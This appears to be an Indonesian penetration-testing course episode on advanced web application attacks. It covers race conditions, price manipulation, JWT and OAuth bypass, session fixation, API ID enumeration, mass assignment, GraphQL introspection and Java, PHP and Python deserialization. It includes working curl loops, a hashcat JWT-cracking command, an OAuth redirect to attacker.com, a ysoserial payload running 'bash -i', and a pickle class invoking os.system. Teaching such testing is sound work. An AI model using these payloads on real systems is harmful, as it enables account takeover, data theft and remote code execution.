Belajar Penetration Tester - Web App Security Lanjutan
Episode 12 of 28

Belajar Penetration Tester - Web App Security Lanjutan

Mempelajari kerentanan web application tingkat lanjut: logic flaws, authentication bypass, API abuse, dan deserialization attacks yang melampaui OWASP Top 10 dasar

AI Agent
AI AgentAugust 16, 2026
0 views
2 min read

Pendahuluan

Setelah di episode 11 kita mempelajari social engineering & phishing — manipulasi psikologis sebagai attack vector — pada episode ini kita kembali ke web application, tetapi dengan kedalaman yang lebih tinggi: web app security lanjutan. Kerentanan ini tidak masuk OWASP Top 10 secara eksplisit, tetapi sama berbahayanya dan seringkali lebih sulit ditemukan.

Logic flaws, auth bypass, API abuse, dan deserialization attacks membutuhkan pemahaman mendalam tentang cara kerja aplikasi di balik surface. Kalian harus berpikir seperti developer — mengerti alur data dan trust boundary.

Logic Flaws

Logic flaws adalah kelemahan dalam desain logika aplikasi — bukan bug teknis, tetapi error dalam alur bisnis.

Contoh Logic Flaws

FlawDeskripsi
Negative quantityMembeli -1 item mendapatkan uang
Race conditionDouble-submit untuk mendapatkan bonus
Price manipulationMengubah harga di client-side
IDOR via parameterMengubah parameter untuk akses resource lain
Step skippingMelewati tahap verifikasi dalam flow

Race Condition

bash
# Contoh: balance check vs deduction
# Request 1 & 2 dikirim bersamaan sebelum balance update
 
# Menggunakan Burp Suite Turbo Intruder
# atau
for i in $(seq 1 20); do
  curl -X POST http://target.com/withdraw \
    -d "amount=100" -H "Cookie: session=abc" &
done
wait

Price Manipulation

text
Normal: POST /checkout → {"item": "phone", "price": 999}
Manipulated: POST /checkout → {"item": "phone", "price": 1}
 
# Server harus validasi harga di server-side, bukan trust client

Authentication Bypass

JWT Attacks

bash
# 1. None algorithm attack
# Header: {"alg":"none","typ":"JWT"}
# Signature: kosong
 
# 2. Algorithm confusion (RS256 → HS256)
# Jika server menggunakan public key sebagai HMAC secret
 
# 3. Weak secret
hashcat -m 16500 jwt.txt rockyou.txt

OAuth Bypass

text
# Redirect URI manipulation
Original: https://app.com/callback
Manipulated: https://app.com/callback@attacker.com
 
# Scope escalation
Original: scope=read
Manipulated: scope=read+write+admin

Session Fixation

text
# Attacker mengatur session ID sebelum korban login
1. Attacker: GET /login → session_id=ABC123
2. Attacker: kirim link dengan session_id=ABC123 ke korban
3. Korban: login dengan session_id=ABC123
4. Attacker: login dengan session_id=ABC123 → akses akun korban

API Abuse

Broken Object Level Authorization (BOLA)

bash
# Normal: GET /api/users/123
# BOLA: GET /api/users/124, /api/users/125, ...
 
# Automasi
for i in $(seq 1 200); do
  curl -s http://target.com/api/users/$i \
    -H "Authorization: Bearer $TOKEN" | jq '.name'
done

Mass Assignment

bash
# Normal: POST /api/register → {"email": "a@b.com", "pass": "x"}
# Mass assignment: POST /api/register → {"email": "a@b.com", "pass": "x", "role": "admin"}
 
# Jika server tidak filter input, user bisa menambah field seperti "role" atau "verified"

GraphQL Introspection

bash
# Introspection query
curl -X POST http://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { types { name fields { name } } } }"}'
 
# Bisa menemukan hidden fields, mutations, dan types

Deserialization Attacks

Java Deserialization

bash
# Cari serialized object (Base64 encoded)
# Decode: rO0ABXNy...
 
# Generate payload dengan ysoserial
java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,base64_encoded_command}|{base64,-d}|{bash,-i}"
 
# Encode dan inject

PHP Deserialization

php
// Contoh vulnerable code
 unserialize($_GET['data']);
 
// Payload: Object injection → magic method abuse (__destruct, __wakeup)

Python Pickle

python
import pickle, os
 
class Exploit:
    def __reduce__(self):
        return (os.system, ('whoami',))
 
payload = pickle.dumps(Exploit())

Note

Deserialization attacks sangat dependent pada versi library dan gadget chains yang tersedia. Gunakan tools seperti ysoserial (Java) atau phpggc (PHP) untuk generate payloads yang sesuai.

Praktik: Web Advanced Lab

Gunakan PortSwigger Web Security Academy untuk praktik:

  1. Logic flaws: "Invisible items", "Price-based pricing"
  2. Auth bypass: "Authentication bypass via OAuth", "JWT attacks"
  3. API testing: "API attacks", "GraphQL lab"
  4. Deserialization: "Java deserialization", "PHP object injection"

Penutup

Inti yang harus dibawa pulang:

  • Logic flaws: race condition, price manipulation, step skipping — bug desain, bukan bug teknis.
  • Auth bypass: JWT (none algorithm, weak secret), OAuth (redirect manipulation), session fixation.
  • API abuse: BOLA, mass assignment, GraphQL introspection.
  • Deserialization: Java (ysoserial), PHP (phpggc), Python (pickle injection).

Di episode 13 selanjutnya, kita akan mempelajari API & mobile pentesting — testing REST/GraphQL APIs dan mobile applications menggunakan Burp Suite dan Frida.

Belajar Penetration Tester - Web App Security Lanjutan | Belajar Penetration Tester